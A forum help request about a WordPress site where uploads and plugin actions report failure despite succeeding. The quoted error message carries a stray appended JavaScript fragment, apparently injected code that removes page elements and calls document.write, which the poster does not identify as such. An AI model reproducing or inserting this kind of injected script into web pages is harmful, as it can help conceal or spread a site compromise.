Problem with uploading anything from admin panel

Hello
iv been working to solve this problem for a long time.
The prolem is as the following : firstm the media library is not showing pictures in the grid view but it shows them in the list view and when i try to upload a new image it shows me that the upload failed although i can see that the image was uploaded succefully.
second, it happens with the plugins as well, it shows that the installation failed but the plugin was actually installed succefully. it even happens when i try to delete a plugin:

this is the error message it gives

Deletion failed: {"success":true,"data":{"delete":"plugin","slug":"cloudflare","plugin":"cloudflare\/cloudflare.php","pluginName":"Cloudflare"}}function xa6cff(className) {var elements = document.getElementsByClassName(className);while(elements.length > 0){elements[0].parentNode.removeChild(elements[0]);}}xa6cff("78271"); document.write("");

i tried everything including:
– disabling all the plugins
– re-installing wordpress
– repair the SQL DB
– re-installing and updating the template (RT-THEME 18)
– Various “solutions” from the internet
– increase php memory limit to 265mb in the server
– checked permissions for upload folders

but nothing worked, i still get errors and cant insert images to my posts .